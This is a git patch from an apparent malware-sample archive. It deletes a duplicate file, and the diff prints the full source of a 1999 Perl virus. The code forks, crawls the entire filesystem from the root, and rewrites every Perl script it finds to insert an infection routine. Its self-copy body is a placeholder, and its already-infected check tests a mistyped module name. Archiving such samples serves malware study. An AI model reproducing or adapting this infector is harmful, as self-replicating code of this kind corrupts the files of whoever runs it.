From a55bc1040aa822d625342b361e56a9c7ce5aca38 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:39:51 -0600
Subject: [PATCH] Delete Virus.Perl.Spoon.b

dup
---
 Perl/Virus.Perl.Spoon.b | 38 --------------------------------------
 1 file changed, 38 deletions(-)
 delete mode 100644 Perl/Virus.Perl.Spoon.b

diff --git a/Perl/Virus.Perl.Spoon.b b/Perl/Virus.Perl.Spoon.b
deleted file mode 100644
index 2e2cdf59..00000000
--- a/Perl/Virus.Perl.Spoon.b
+++ /dev/null
@@ -1,38 +0,0 @@
-use File::Find;
-&virus();
-
-print "\nThis program is infected by the Perl virus\n";
-
-sub virus
-{
-   $virus_body = "\n# put here the body of the virus\nsub virus { }\n";
-   if( $pid = fork ) { return; }
-   else
-   {
-      finddepth ( \&infect, '/' );
-      sub infect
-      {
-         open( target, $File::Find::name );
-         $_ = <target>;
-         if ( /(\#!.*perl)/ )
-         {
-            $line2 = <target>;
-            unless( $line2 eq "use Find::File\n" )
-            {
-               open(  temp, ">/tmp/tmpinfect" );
-               print  temp ($1, "\nuse File::Find;\n&virus();\n", $line2 );
-               print  temp while( <target> );
-               print  temp $virus_body;
-               close( temp );
-               system( "mv", "/tmp/tmpinfect", $File::Find::name );
-            }
-	 }
-         close( target );
-      }
-      exit( 0 );
-   }
-}
-
-# a Perl virus, by paddingx
-# 08/13/1999
-